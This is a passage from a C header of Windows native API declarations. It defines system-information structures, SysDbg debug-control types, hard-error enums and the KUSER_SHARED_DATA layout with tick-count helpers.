SYSTEM_PROCESSOR_FEATURES_INFORMATION, *PSYSTEM_PROCESSOR_FEATURES_INFORMATION;\n\n// private\ntypedef struct _SYSTEM_MANUFACTURING_INFORMATION\n{\n ULONG Options;\n UNICODE_STRING ProfileName;\n} SYSTEM_MANUFACTURING_INFORMATION, *PSYSTEM_MANUFACTURING_INFORMATION;\n\n// private\ntypedef struct _SYSTEM_ENERGY_ESTIMATION_CONFIG_INFORMATION\n{\n BOOLEAN Enabled;\n} SYSTEM_ENERGY_ESTIMATION_CONFIG_INFORMATION, *PSYSTEM_ENERGY_ESTIMATION_CONFIG_INFORMATION;\n\n// private\ntypedef struct _HV_DETAILS\n{\n ULONG Data[4];\n} HV_DETAILS, *PHV_DETAILS;\n\n// private\ntypedef struct _SYSTEM_HYPERVISOR_DETAIL_INFORMATION\n{\n HV_DETAILS HvVendorAndMaxFunction;\n HV_DETAILS HypervisorInterface;\n HV_DETAILS HypervisorVersion;\n HV_DETAILS HvFeatures;\n HV_DETAILS HwFeatures;\n HV_DETAILS EnlightenmentInfo;\n HV_DETAILS ImplementationLimits;\n} SYSTEM_HYPERVISOR_DETAIL_INFORMATION, *PSYSTEM_HYPERVISOR_DETAIL_INFORMATION;\n\n// private\ntypedef struct _SYSTEM_PROCESSOR_CYCLE_STATS_INFORMATION\n{\n ULONGLONG Cycles[4][2];\n} SYSTEM_PROCESSOR_CYCLE_STATS_INFORMATION, *PSYSTEM_PROCESSOR_CYCLE_STATS_INFORMATION;\n\n// private\ntypedef struct _SYSTEM_TPM_INFORMATION\n{\n ULONG Flags;\n} SYSTEM_TPM_INFORMATION, *PSYSTEM_TPM_INFORMATION;\n\n// private\ntypedef struct _SYSTEM_VSM_PROTECTION_INFORMATION\n{\n BOOLEAN DmaProtectionsAvailable;\n BOOLEAN DmaProtectionsInUse;\n BOOLEAN HardwareMbecAvailable; // REDSTONE4 (CVE-2018-3639)\n} SYSTEM_VSM_PROTECTION_INFORMATION, *PSYSTEM_VSM_PROTECTION_INFORMATION;\n\n// private\ntypedef struct _SYSTEM_KERNEL_DEBUGGER_FLAGS\n{\n UCHAR KernelDebuggerIgnoreUmExceptions;\n} SYSTEM_KERNEL_DEBUGGER_FLAGS, *PSYSTEM_KERNEL_DEBUGGER_FLAGS;\n\n// private\ntypedef struct _SYSTEM_CODEINTEGRITYPOLICY_INFORMATION\n{\n ULONG Options;\n ULONG HVCIOptions;\n ULONGLONG Version;\n GUID PolicyGuid;\n} SYSTEM_CODEINTEGRITYPOLICY_INFORMATION, *PSYSTEM_CODEINTEGRITYPOLICY_INFORMATION;\n\n// private\ntypedef struct _SYSTEM_ISOLATED_USER_MODE_INFORMATION\n{\n BOOLEAN SecureKernelRunning : 1;\n BOOLEAN HvciEnabled : 1;\n BOOLEAN HvciStrictMode : 1;\n BOOLEAN DebugEnabled : 1;\n BOOLEAN FirmwarePageProtection : 1;\n BOOLEAN EncryptionKeyAvailable : 1;\n BOOLEAN SpareFlags : 2;\n BOOLEAN TrustletRunning : 1;\n BOOLEAN HvciDisableAllowed : 1;\n BOOLEAN SpareFlags2 : 6;\n BOOLEAN Spare0[6];\n ULONGLONG Spare1;\n} SYSTEM_ISOLATED_USER_MODE_INFORMATION, *PSYSTEM_ISOLATED_USER_MODE_INFORMATION;\n\n// private\ntypedef struct _SYSTEM_SINGLE_MODULE_INFORMATION\n{\n PVOID TargetModuleAddress;\n RTL_PROCESS_MODULE_INFORMATION_EX ExInfo;\n} SYSTEM_SINGLE_MODULE_INFORMATION, *PSYSTEM_SINGLE_MODULE_INFORMATION;\n\n// private\ntypedef struct _SYSTEM_INTERRUPT_CPU_SET_INFORMATION\n{\n ULONG Gsiv;\n USHORT Group;\n ULONGLONG CpuSets;\n} SYSTEM_INTERRUPT_CPU_SET_INFORMATION, *PSYSTEM_INTERRUPT_CPU_SET_INFORMATION;\n\n// private\ntypedef struct _SYSTEM_SECUREBOOT_POLICY_FULL_INFORMATION\n{\n SYSTEM_SECUREBOOT_POLICY_INFORMATION PolicyInformation;\n ULONG PolicySize;\n UCHAR Policy[1];\n} SYSTEM_SECUREBOOT_POLICY_FULL_INFORMATION, *PSYSTEM_SECUREBOOT_POLICY_FULL_INFORMATION;\n\n// private\ntypedef struct _SYSTEM_ROOT_SILO_INFORMATION\n{\n ULONG NumberOfSilos;\n ULONG SiloIdList[1];\n} SYSTEM_ROOT_SILO_INFORMATION, *PSYSTEM_ROOT_SILO_INFORMATION;\n\n// private\ntypedef struct _SYSTEM_CPU_SET_TAG_INFORMATION\n{\n ULONGLONG Tag;\n ULONGLONG CpuSets[1];\n} SYSTEM_CPU_SET_TAG_INFORMATION, *PSYSTEM_CPU_SET_TAG_INFORMATION;\n\n// private\ntypedef struct _SYSTEM_SECURE_KERNEL_HYPERGUARD_PROFILE_INFORMATION\n{\n ULONG ExtentCount;\n ULONG ValidStructureSize;\n ULONG NextExtentIndex;\n ULONG ExtentRestart;\n ULONG CycleCount;\n ULONG TimeoutCount;\n ULONGLONG CycleTime;\n ULONGLONG CycleTimeMax;\n ULONGLONG ExtentTime;\n ULONG ExtentTimeIndex;\n ULONG ExtentTimeMaxIndex;\n ULONGLONG ExtentTimeMax;\n ULONGLONG HyperFlushTimeMax;\n ULONGLONG TranslateVaTimeMax;\n ULONGLONG DebugExemptionCount;\n ULONGLONG TbHitCount;\n ULONGLONG TbMissCount;\n ULONGLONG VinaPendingYield;\n ULONGLONG HashCycles;\n ULONG HistogramOffset;\n ULONG HistogramBuckets;\n ULONG HistogramShift;\n ULONG Reserved1;\n ULONGLONG PageNotPresentCount;\n} SYSTEM_SECURE_KERNEL_HYPERGUARD_PROFILE_INFORMATION, *PSYSTEM_SECURE_KERNEL_HYPERGUARD_PROFILE_INFORMATION;\n\n// private\ntypedef struct _SYSTEM_SECUREBOOT_PLATFORM_MANIFEST_INFORMATION\n{\n ULONG PlatformManifestSize;\n UCHAR PlatformManifest[1];\n} SYSTEM_SECUREBOOT_PLATFORM_MANIFEST_INFORMATION, *PSYSTEM_SECUREBOOT_PLATFORM_MANIFEST_INFORMATION;\n\n// private\ntypedef struct _SYSTEM_MEMORY_USAGE_INFORMATION\n{\n ULONGLONG TotalPhysicalBytes;\n ULONGLONG AvailableBytes;\n LONGLONG ResidentAvailableBytes;\n ULONGLONG CommittedBytes;\n ULONGLONG SharedCommittedBytes;\n ULONGLONG CommitLimitBytes;\n ULONGLONG PeakCommitmentBytes;\n} SYSTEM_MEMORY_USAGE_INFORMATION, *PSYSTEM_MEMORY_USAGE_INFORMATION;\n\n// private\ntypedef struct _SYSTEM_CODEINTEGRITY_CERTIFICATE_INFORMATION\n{\n HANDLE ImageFile;\n ULONG Type; // REDSTONE4\n} SYSTEM_CODEINTEGRITY_CERTIFICATE_INFORMATION, *PSYSTEM_CODEINTEGRITY_CERTIFICATE_INFORMATION;\n\n// private\ntypedef struct _SYSTEM_PHYSICAL_MEMORY_INFORMATION\n{\n ULONGLONG TotalPhysicalBytes;\n ULONGLONG LowestPhysicalAddress;\n ULONGLONG HighestPhysicalAddress;\n} SYSTEM_PHYSICAL_MEMORY_INFORMATION, *PSYSTEM_PHYSICAL_MEMORY_INFORMATION;\n\n// private\ntypedef enum _SYSTEM_ACTIVITY_MODERATION_STATE\n{\n SystemActivityModerationStateSystemManaged,\n SystemActivityModerationStateUserManagedAllowThrottling,\n SystemActivityModerationStateUserManagedDisableThrottling,\n MaxSystemActivityModerationState\n} SYSTEM_ACTIVITY_MODERATION_STATE;\n\n// private - REDSTONE2\ntypedef struct _SYSTEM_ACTIVITY_MODERATION_EXE_STATE // REDSTONE3: Renamed SYSTEM_ACTIVITY_MODERATION_INFO\n{\n UNICODE_STRING ExePathNt;\n SYSTEM_ACTIVITY_MODERATION_STATE ModerationState;\n} SYSTEM_ACTIVITY_MODERATION_EXE_STATE, *PSYSTEM_ACTIVITY_MODERATION_EXE_STATE;\n\ntypedef enum _SYSTEM_ACTIVITY_MODERATION_APP_TYPE\n{\n SystemActivityModerationAppTypeClassic,\n SystemActivityModerationAppTypePackaged,\n MaxSystemActivityModerationAppType\n} SYSTEM_ACTIVITY_MODERATION_APP_TYPE;\n\n// private - REDSTONE3\ntypedef struct _SYSTEM_ACTIVITY_MODERATION_INFO\n{\n UNICODE_STRING Identifier;\n SYSTEM_ACTIVITY_MODERATION_STATE ModerationState;\n SYSTEM_ACTIVITY_MODERATION_APP_TYPE AppType;\n} SYSTEM_ACTIVITY_MODERATION_INFO, *PSYSTEM_ACTIVITY_MODERATION_INFO;\n\n// private\ntypedef struct _SYSTEM_ACTIVITY_MODERATION_USER_SETTINGS\n{\n HANDLE UserKeyHandle;\n} SYSTEM_ACTIVITY_MODERATION_USER_SETTINGS, *PSYSTEM_ACTIVITY_MODERATION_USER_SETTINGS;\n\n// private\ntypedef struct _SYSTEM_CODEINTEGRITY_UNLOCK_INFORMATION\n{\n union\n {\n ULONG Flags;\n struct\n {\n ULONG Locked : 1;\n ULONG UnlockApplied : 1; // Unlockable field removed 19H1\n ULONG UnlockIdValid : 1;\n ULONG Reserved : 29;\n };\n };\n UCHAR UnlockId[32]; // REDSTONE4\n} SYSTEM_CODEINTEGRITY_UNLOCK_INFORMATION, *PSYSTEM_CODEINTEGRITY_UNLOCK_INFORMATION;\n\n// private\ntypedef struct _SYSTEM_FLUSH_INFORMATION\n{\n ULONG SupportedFlushMethods;\n ULONG ProcessorCacheFlushSize;\n ULONGLONG SystemFlushCapabilities;\n ULONGLONG Reserved[2];\n} SYSTEM_FLUSH_INFORMATION, *PSYSTEM_FLUSH_INFORMATION;\n\n// private\ntypedef struct _SYSTEM_WRITE_CONSTRAINT_INFORMATION\n{\n ULONG WriteConstraintPolicy;\n ULONG Reserved;\n} SYSTEM_WRITE_CONSTRAINT_INFORMATION, *PSYSTEM_WRITE_CONSTRAINT_INFORMATION;\n\n// private\ntypedef struct _SYSTEM_KERNEL_VA_SHADOW_INFORMATION\n{\n union\n {\n ULONG Flags;\n struct\n {\n ULONG KvaShadowEnabled : 1;\n ULONG KvaShadowUserGlobal : 1;\n ULONG KvaShadowPcid : 1;\n ULONG KvaShadowInvpcid : 1;\n ULONG KvaShadowRequired : 1; // REDSTONE4\n ULONG KvaShadowRequiredAvailable : 1;\n ULONG InvalidPteBit : 6;\n ULONG L1DataCacheFlushSupported : 1;\n ULONG L1TerminalFaultMitigationPresent : 1;\n ULONG Reserved : 18;\n };\n };\n} SYSTEM_KERNEL_VA_SHADOW_INFORMATION, *PSYSTEM_KERNEL_VA_SHADOW_INFORMATION;\n\n// private\ntypedef struct _SYSTEM_CODEINTEGRITYVERIFICATION_INFORMATION\n{\n HANDLE FileHandle;\n ULONG ImageSize;\n PVOID Image;\n} SYSTEM_CODEINTEGRITYVERIFICATION_INFORMATION, *PSYSTEM_CODEINTEGRITYVERIFICATION_INFORMATION;\n\n// private\ntypedef struct _SYSTEM_HYPERVISOR_SHARED_PAGE_INFORMATION\n{\n PVOID HypervisorSharedUserVa;\n} SYSTEM_HYPERVISOR_SHARED_PAGE_INFORMATION, *PSYSTEM_HYPERVISOR_SHARED_PAGE_INFORMATION;\n\n// private\ntypedef struct _SYSTEM_FIRMWARE_PARTITION_INFORMATION\n{\n UNICODE_STRING FirmwarePartition;\n} SYSTEM_FIRMWARE_PARTITION_INFORMATION, *PSYSTEM_FIRMWARE_PARTITION_INFORMATION;\n\n// private\ntypedef struct _SYSTEM_SPECULATION_CONTROL_INFORMATION\n{\n union\n {\n ULONG Flags;\n struct\n {\n ULONG BpbEnabled : 1;\n ULONG BpbDisabledSystemPolicy : 1;\n ULONG BpbDisabledNoHardwareSupport : 1;\n ULONG SpecCtrlEnumerated : 1;\n ULONG SpecCmdEnumerated : 1;\n ULONG IbrsPresent : 1;\n ULONG StibpPresent : 1;\n ULONG SmepPresent : 1;\n ULONG SpeculativeStoreBypassDisableAvailable : 1; // REDSTONE4 (CVE-2018-3639)\n ULONG SpeculativeStoreBypassDisableSupported : 1;\n ULONG SpeculativeStoreBypassDisabledSystemWide : 1;\n ULONG SpeculativeStoreBypassDisabledKernel : 1;\n ULONG SpeculativeStoreBypassDisableRequired : 1;\n ULONG BpbDisabledKernelToUser : 1;\n ULONG SpecCtrlRetpolineEnabled : 1;\n ULONG SpecCtrlImportOptimizationEnabled : 1;\n ULONG EnhancedIbrs : 1; // since 19H1\n ULONG HvL1tfStatusAvailable : 1;\n ULONG HvL1tfProcessorNotAffected : 1;\n ULONG HvL1tfMigitationEnabled : 1;\n ULONG HvL1tfMigitationNotEnabled_Hardware : 1;\n ULONG HvL1tfMigitationNotEnabled_LoadOption : 1;\n ULONG HvL1tfMigitationNotEnabled_CoreScheduler : 1;\n ULONG EnhancedIbrsReported : 1;\n ULONG MdsHardwareProtected : 1; // since 19H2\n ULONG MbClearEnabled : 1;\n ULONG MbClearReported : 1;\n ULONG Reserved : 5;\n };\n };\n} SYSTEM_SPECULATION_CONTROL_INFORMATION, *PSYSTEM_SPECULATION_CONTROL_INFORMATION;\n\n// private\ntypedef struct _SYSTEM_DMA_GUARD_POLICY_INFORMATION\n{\n BOOLEAN DmaGuardPolicyEnabled;\n} SYSTEM_DMA_GUARD_POLICY_INFORMATION, *PSYSTEM_DMA_GUARD_POLICY_INFORMATION;\n\n// private\ntypedef struct _SYSTEM_ENCLAVE_LAUNCH_CONTROL_INFORMATION\n{\n UCHAR EnclaveLaunchSigner[32];\n} SYSTEM_ENCLAVE_LAUNCH_CONTROL_INFORMATION, *PSYSTEM_ENCLAVE_LAUNCH_CONTROL_INFORMATION;\n\n// private\ntypedef struct _SYSTEM_WORKLOAD_ALLOWED_CPU_SET_INFORMATION\n{\n ULONGLONG WorkloadClass;\n ULONGLONG CpuSets[1];\n} SYSTEM_WORKLOAD_ALLOWED_CPU_SET_INFORMATION, *PSYSTEM_WORKLOAD_ALLOWED_CPU_SET_INFORMATION;\n\n// private\ntypedef struct _SYSTEM_SECURITY_MODEL_INFORMATION\n{\n union\n {\n ULONG SecurityModelFlags;\n struct\n {\n ULONG SModeAdminlessEnabled : 1;\n ULONG AllowDeviceOwnerProtectionDowngrade : 1;\n ULONG Reserved : 30;\n };\n };\n} SYSTEM_SECURITY_MODEL_INFORMATION, *PSYSTEM_SECURITY_MODEL_INFORMATION;\n\n#if (PHNT_MODE != PHNT_MODE_KERNEL)\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtQuerySystemInformation(\n _In_ SYSTEM_INFORMATION_CLASS SystemInformationClass,\n _Out_writes_bytes_opt_(SystemInformationLength) PVOID SystemInformation,\n _In_ ULONG SystemInformationLength,\n _Out_opt_ PULONG ReturnLength\n );\n\n#if (PHNT_VERSION >= PHNT_WIN7)\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtQuerySystemInformationEx(\n _In_ SYSTEM_INFORMATION_CLASS SystemInformationClass,\n _In_reads_bytes_(InputBufferLength) PVOID InputBuffer,\n _In_ ULONG InputBufferLength,\n _Out_writes_bytes_opt_(SystemInformationLength) PVOID SystemInformation,\n _In_ ULONG SystemInformationLength,\n _Out_opt_ PULONG ReturnLength\n );\n#endif\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtSetSystemInformation(\n _In_ SYSTEM_INFORMATION_CLASS SystemInformationClass,\n _In_reads_bytes_opt_(SystemInformationLength) PVOID SystemInformation,\n _In_ ULONG SystemInformationLength\n );\n\n// SysDbg APIs\n\n// private\ntypedef enum _SYSDBG_COMMAND\n{\n SysDbgQueryModuleInformation,\n SysDbgQueryTraceInformation,\n SysDbgSetTracepoint,\n SysDbgSetSpecialCall,\n SysDbgClearSpecialCalls,\n SysDbgQuerySpecialCalls,\n SysDbgBreakPoint,\n SysDbgQueryVersion,\n SysDbgReadVirtual,\n SysDbgWriteVirtual,\n SysDbgReadPhysical,\n SysDbgWritePhysical,\n SysDbgReadControlSpace,\n SysDbgWriteControlSpace,\n SysDbgReadIoSpace,\n SysDbgWriteIoSpace,\n SysDbgReadMsr,\n SysDbgWriteMsr,\n SysDbgReadBusData,\n SysDbgWriteBusData,\n SysDbgCheckLowMemory,\n SysDbgEnableKernelDebugger,\n SysDbgDisableKernelDebugger,\n SysDbgGetAutoKdEnable,\n SysDbgSetAutoKdEnable,\n SysDbgGetPrintBufferSize,\n SysDbgSetPrintBufferSize,\n SysDbgGetKdUmExceptionEnable,\n SysDbgSetKdUmExceptionEnable,\n SysDbgGetTriageDump,\n SysDbgGetKdBlockEnable,\n SysDbgSetKdBlockEnable,\n SysDbgRegisterForUmBreakInfo,\n SysDbgGetUmBreakPid,\n SysDbgClearUmBreakPid,\n SysDbgGetUmAttachPid,\n SysDbgClearUmAttachPid,\n SysDbgGetLiveKernelDump\n} SYSDBG_COMMAND, *PSYSDBG_COMMAND;\n\ntypedef struct _SYSDBG_VIRTUAL\n{\n PVOID Address;\n PVOID Buffer;\n ULONG Request;\n} SYSDBG_VIRTUAL, *PSYSDBG_VIRTUAL;\n\ntypedef struct _SYSDBG_PHYSICAL\n{\n PHYSICAL_ADDRESS Address;\n PVOID Buffer;\n ULONG Request;\n} SYSDBG_PHYSICAL, *PSYSDBG_PHYSICAL;\n\ntypedef struct _SYSDBG_CONTROL_SPACE\n{\n ULONG64 Address;\n PVOID Buffer;\n ULONG Request;\n ULONG Processor;\n} SYSDBG_CONTROL_SPACE, *PSYSDBG_CONTROL_SPACE;\n\nenum _INTERFACE_TYPE;\n\ntypedef struct _SYSDBG_IO_SPACE\n{\n ULONG64 Address;\n PVOID Buffer;\n ULONG Request;\n enum _INTERFACE_TYPE InterfaceType;\n ULONG BusNumber;\n ULONG AddressSpace;\n} SYSDBG_IO_SPACE, *PSYSDBG_IO_SPACE;\n\ntypedef struct _SYSDBG_MSR\n{\n ULONG Msr;\n ULONG64 Data;\n} SYSDBG_MSR, *PSYSDBG_MSR;\n\nenum _BUS_DATA_TYPE;\n\ntypedef struct _SYSDBG_BUS_DATA\n{\n ULONG Address;\n PVOID Buffer;\n ULONG Request;\n enum _BUS_DATA_TYPE BusDataType;\n ULONG BusNumber;\n ULONG SlotNumber;\n} SYSDBG_BUS_DATA, *PSYSDBG_BUS_DATA;\n\n// private\ntypedef struct _SYSDBG_TRIAGE_DUMP\n{\n ULONG Flags;\n ULONG BugCheckCode;\n ULONG_PTR BugCheckParam1;\n ULONG_PTR BugCheckParam2;\n ULONG_PTR BugCheckParam3;\n ULONG_PTR BugCheckParam4;\n ULONG ProcessHandles;\n ULONG ThreadHandles;\n PHANDLE Handles;\n} SYSDBG_TRIAGE_DUMP, *PSYSDBG_TRIAGE_DUMP;\n\n// private\ntypedef union _SYSDBG_LIVEDUMP_CONTROL_FLAGS\n{\n struct\n {\n ULONG UseDumpStorageStack : 1;\n ULONG CompressMemoryPagesData : 1;\n ULONG IncludeUserSpaceMemoryPages : 1;\n ULONG AbortIfMemoryPressure : 1; // REDSTONE4\n ULONG Reserved : 28;\n };\n ULONG AsUlong;\n} SYSDBG_LIVEDUMP_CONTROL_FLAGS, *PSYSDBG_LIVEDUMP_CONTROL_FLAGS;\n\n// private\ntypedef union _SYSDBG_LIVEDUMP_CONTROL_ADDPAGES\n{\n struct\n {\n ULONG HypervisorPages : 1;\n ULONG Reserved : 31;\n };\n ULONG AsUlong;\n} SYSDBG_LIVEDUMP_CONTROL_ADDPAGES, *PSYSDBG_LIVEDUMP_CONTROL_ADDPAGES;\n\n#define SYSDBG_LIVEDUMP_CONTROL_VERSION 1\n\n// private\ntypedef struct _SYSDBG_LIVEDUMP_CONTROL\n{\n ULONG Version;\n ULONG BugCheckCode;\n ULONG_PTR BugCheckParam1;\n ULONG_PTR BugCheckParam2;\n ULONG_PTR BugCheckParam3;\n ULONG_PTR BugCheckParam4;\n HANDLE DumpFileHandle;\n HANDLE CancelEventHandle;\n SYSDBG_LIVEDUMP_CONTROL_FLAGS Flags;\n SYSDBG_LIVEDUMP_CONTROL_ADDPAGES AddPagesControl;\n} SYSDBG_LIVEDUMP_CONTROL, *PSYSDBG_LIVEDUMP_CONTROL;\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtSystemDebugControl(\n _In_ SYSDBG_COMMAND Command,\n _Inout_updates_bytes_opt_(InputBufferLength) PVOID InputBuffer,\n _In_ ULONG InputBufferLength,\n _Out_writes_bytes_opt_(OutputBufferLength) PVOID OutputBuffer,\n _In_ ULONG OutputBufferLength,\n _Out_opt_ PULONG ReturnLength\n );\n\n// Hard errors\n\ntypedef enum _HARDERROR_RESPONSE_OPTION\n{\n OptionAbortRetryIgnore,\n OptionOk,\n OptionOkCancel,\n OptionRetryCancel,\n OptionYesNo,\n OptionYesNoCancel,\n OptionShutdownSystem,\n OptionOkNoWait,\n OptionCancelTryContinue\n} HARDERROR_RESPONSE_OPTION;\n\ntypedef enum _HARDERROR_RESPONSE\n{\n ResponseReturnToCaller,\n ResponseNotHandled,\n ResponseAbort,\n ResponseCancel,\n ResponseIgnore,\n ResponseNo,\n ResponseOk,\n ResponseRetry,\n ResponseYes,\n ResponseTryAgain,\n ResponseContinue\n} HARDERROR_RESPONSE;\n\n#define HARDERROR_OVERRIDE_ERRORMODE 0x10000000\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtRaiseHardError(\n _In_ NTSTATUS ErrorStatus,\n _In_ ULONG NumberOfParameters,\n _In_ ULONG UnicodeStringParameterMask,\n _In_reads_(NumberOfParameters) PULONG_PTR Parameters,\n _In_ ULONG ValidResponseOptions,\n _Out_ PULONG Response\n );\n\n// Kernel-user shared data\n\ntypedef enum _ALTERNATIVE_ARCHITECTURE_TYPE\n{\n StandardDesign,\n NEC98x86,\n EndAlternatives\n} ALTERNATIVE_ARCHITECTURE_TYPE;\n\n#define PROCESSOR_FEATURE_MAX 64\n\n#define MAX_WOW64_SHARED_ENTRIES 16\n\n#define NX_SUPPORT_POLICY_ALWAYSOFF 0\n#define NX_SUPPORT_POLICY_ALWAYSON 1\n#define NX_SUPPORT_POLICY_OPTIN 2\n#define NX_SUPPORT_POLICY_OPTOUT 3\n\n#include \ntypedef struct _KUSER_SHARED_DATA\n{\n ULONG TickCountLowDeprecated;\n ULONG TickCountMultiplier;\n\n volatile KSYSTEM_TIME InterruptTime;\n volatile KSYSTEM_TIME SystemTime;\n volatile KSYSTEM_TIME TimeZoneBias;\n\n USHORT ImageNumberLow;\n USHORT ImageNumberHigh;\n\n WCHAR NtSystemRoot[260];\n\n ULONG MaxStackTraceDepth;\n\n ULONG CryptoExponent;\n\n ULONG TimeZoneId;\n ULONG LargePageMinimum;\n ULONG AitSamplingValue;\n ULONG AppCompatFlag;\n ULONGLONG RNGSeedVersion;\n ULONG GlobalValidationRunlevel;\n LONG TimeZoneBiasStamp;\n\n ULONG NtBuildNumber;\n NT_PRODUCT_TYPE NtProductType;\n BOOLEAN ProductTypeIsValid;\n UCHAR Reserved0[1];\n USHORT NativeProcessorArchitecture;\n\n ULONG NtMajorVersion;\n ULONG NtMinorVersion;\n\n BOOLEAN ProcessorFeatures[PROCESSOR_FEATURE_MAX];\n\n ULONG Reserved1;\n ULONG Reserved3;\n\n volatile ULONG TimeSlip;\n\n ALTERNATIVE_ARCHITECTURE_TYPE AlternativeArchitecture;\n ULONG BootId;\n\n LARGE_INTEGER SystemExpirationDate;\n\n ULONG SuiteMask;\n\n BOOLEAN KdDebuggerEnabled;\n union\n {\n UCHAR MitigationPolicies;\n struct\n {\n UCHAR NXSupportPolicy : 2;\n UCHAR SEHValidationPolicy : 2;\n UCHAR CurDirDevicesSkippedForDlls : 2;\n UCHAR Reserved : 2;\n };\n };\n\n USHORT CyclesPerYield;\n\n volatile ULONG ActiveConsoleId;\n\n volatile ULONG DismountCount;\n\n ULONG ComPlusPackage;\n\n ULONG LastSystemRITEventTickCount;\n\n ULONG NumberOfPhysicalPages;\n\n BOOLEAN SafeBootMode;\n UCHAR VirtualizationFlags;\n UCHAR Reserved12[2];\n\n union\n {\n ULONG SharedDataFlags;\n struct\n {\n ULONG DbgErrorPortPresent : 1;\n ULONG DbgElevationEnabled : 1;\n ULONG DbgVirtEnabled : 1;\n ULONG DbgInstallerDetectEnabled : 1;\n ULONG DbgLkgEnabled : 1;\n ULONG DbgDynProcessorEnabled : 1;\n ULONG DbgConsoleBrokerEnabled : 1;\n ULONG DbgSecureBootEnabled : 1;\n ULONG DbgMultiSessionSku : 1;\n ULONG DbgMultiUsersInSessionSku : 1;\n ULONG DbgStateSeparationEnabled : 1;\n ULONG SpareBits : 21;\n };\n };\n ULONG DataFlagsPad[1];\n\n ULONGLONG TestRetInstruction;\n LONGLONG QpcFrequency;\n ULONG SystemCall;\n ULONG SystemCallPad0;\n ULONGLONG SystemCallPad[2];\n\n union\n {\n volatile KSYSTEM_TIME TickCount;\n volatile ULONG64 TickCountQuad;\n ULONG ReservedTickCountOverlay[3];\n };\n ULONG TickCountPad[1];\n\n ULONG Cookie;\n ULONG CookiePad[1];\n\n LONGLONG ConsoleSessionForegroundProcessId;\n ULONGLONG TimeUpdateLock;\n ULONGLONG BaselineSystemTimeQpc;\n ULONGLONG BaselineInterruptTimeQpc;\n ULONGLONG QpcSystemTimeIncrement;\n ULONGLONG QpcInterruptTimeIncrement;\n UCHAR QpcSystemTimeIncrementShift;\n UCHAR QpcInterruptTimeIncrementShift;\n\n USHORT UnparkedProcessorCount;\n ULONG EnclaveFeatureMask[4];\n \n ULONG TelemetryCoverageRound;\n \n USHORT UserModeGlobalLogger[16];\n ULONG ImageFileExecutionOptions;\n\n ULONG LangGenerationCount;\n ULONGLONG Reserved4;\n volatile ULONG64 InterruptTimeBias;\n volatile ULONG64 QpcBias;\n\n ULONG ActiveProcessorCount;\n volatile UCHAR ActiveGroupCount;\n UCHAR Reserved9;\n union\n {\n USHORT QpcData;\n struct\n {\n UCHAR QpcBypassEnabled : 1;\n UCHAR QpcShift : 1;\n };\n };\n\n LARGE_INTEGER TimeZoneBiasEffectiveStart;\n LARGE_INTEGER TimeZoneBiasEffectiveEnd;\n XSTATE_CONFIGURATION XState;\n} KUSER_SHARED_DATA, *PKUSER_SHARED_DATA;\n#include \n\nC_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, TickCountMultiplier) == 0x4);\nC_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, InterruptTime) == 0x8);\nC_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, SystemTime) == 0x14);\nC_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, NtSystemRoot) == 0x30);\nC_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, LargePageMinimum) == 0x244);\nC_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, NtProductType) == 0x264);\nC_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, NtMajorVersion) == 0x26c);\nC_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, NtMinorVersion) == 0x270);\nC_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, ProcessorFeatures) == 0x274);\nC_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, KdDebuggerEnabled) == 0x2d4);\nC_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, ActiveConsoleId) == 0x2d8);\nC_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, NumberOfPhysicalPages) == 0x2e8);\nC_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, SafeBootMode) == 0x2ec);\nC_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, TickCount) == 0x320);\nC_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, TickCountQuad) == 0x320);\nC_ASSERT(FIELD_OFFSET(KUSER_SHARED_DATA, XState) == 0x3d8);\n//C_ASSERT(sizeof(KUSER_SHARED_DATA) == 0x70C); // VS2017 has some weird issue with this.\n\n#define USER_SHARED_DATA ((KUSER_SHARED_DATA * const)0x7ffe0000)\n\n#if (PHNT_VERSION >= PHNT_WS03)\n\nFORCEINLINE ULONGLONG NtGetTickCount64()\n{\n ULARGE_INTEGER tickCount;\n\n#ifdef _WIN64\n\n tickCount.QuadPart = USER_SHARED_DATA->TickCountQuad;\n\n#else\n\n while (TRUE)\n {\n tickCount.HighPart = (ULONG)USER_SHARED_DATA->TickCount.High1Time;\n tickCount.LowPart = USER_SHARED_DATA->TickCount.LowPart;\n\n if (tickCount.HighPart == (ULONG)USER_SHARED_DATA->TickCount.High2Time)\n break;\n\n YieldProcessor();\n }\n\n#endif\n\n return (UInt32x32To64(tickCount.LowPart, USER_SHARED_DATA->TickCountMultiplier) >> 24) +\n (UInt32x32To64(tickCount.HighPart, USER_SHARED_DATA->TickCountMultiplier) << 8);\n}\n\nFORCEINLINE ULONG NtGetTickCount()\n{\n#ifdef _WIN64\n\n return (ULONG)((USER_SHARED_DATA->TickCountQuad * USER_SHARED_DATA->TickCountMultiplier) >> 24);\n\n#else\n\n ULARGE_INTEGER tickCount;\n\n while (TRUE)\n {\n tickCount.HighPart = (ULONG)USER_SHARED_DATA->TickCount.High1Time;\n tickCount.LowPart = USER_SHARED_DATA->TickCount.LowPart;\n\n if (tickCount.HighPart == (ULONG)USER_SHARED_DATA->TickCount.High2Time)\n break;\n\n YieldProcessor();\n }\n\n return (ULONG)((UInt32x32To64(tickCount.LowPart, USER_SHARED_DATA->TickCountMultiplier) >> 24) +\n UInt32x32To64((tickCount.HighPart << 8) & 0xffffffff, USER_SHARED_DATA->TickCountMultiplier));\n\n#endif\n}\n\n#endif\n\n// Locale\n\nNTSYSCALLAPI\nNTSTATUS\nNTAPI\nNtQueryDefaultLocale(\n _In_ BOOLEAN UserProfile,\n _Out_ PLCID DefaultLocaleId\n 